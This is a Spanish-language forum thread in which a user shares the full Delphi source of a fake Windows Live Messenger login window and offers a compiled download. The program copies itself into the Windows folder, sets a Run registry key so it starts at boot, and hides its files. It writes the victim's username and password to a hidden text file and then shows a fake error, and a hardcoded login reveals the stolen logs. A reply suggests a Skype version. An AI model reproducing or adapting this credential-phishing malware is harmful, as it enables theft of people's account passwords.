[Delphi] Fake MSN 0.2

[BigBear]

Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

• El programa al cargarse se mueve automaticamente a la carpeta de windows
  
• El programa se ejecuta cuando Windows se inicia
  
• Se ocultan los archivos relacionados al programa
  
• Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos
  
  Una imagen
  
  
  
  El codigo
  
  
  Código (delphi) [Seleccionar] Expandir
  
{
Fake MSN 0.2
Coded By Doddy H
}

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Edit1Click(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Image2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;

procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
  Edit2.PasswordChar := '*';
end;

procedure TForm1.FormCreate(Sender: TObject);

var nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;

  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

end;

procedure TForm1.Image2Click(Sender: TObject);

var archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; //mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;

end;

end.

// The End ?

  
  Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.
  
  Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).
  
  

[Danyfirex]

Deberías hacerlo para skype ahora que pasara a la historia.

esta muy guapo

[BigBear]

si , me entere recien lo de skype xDD.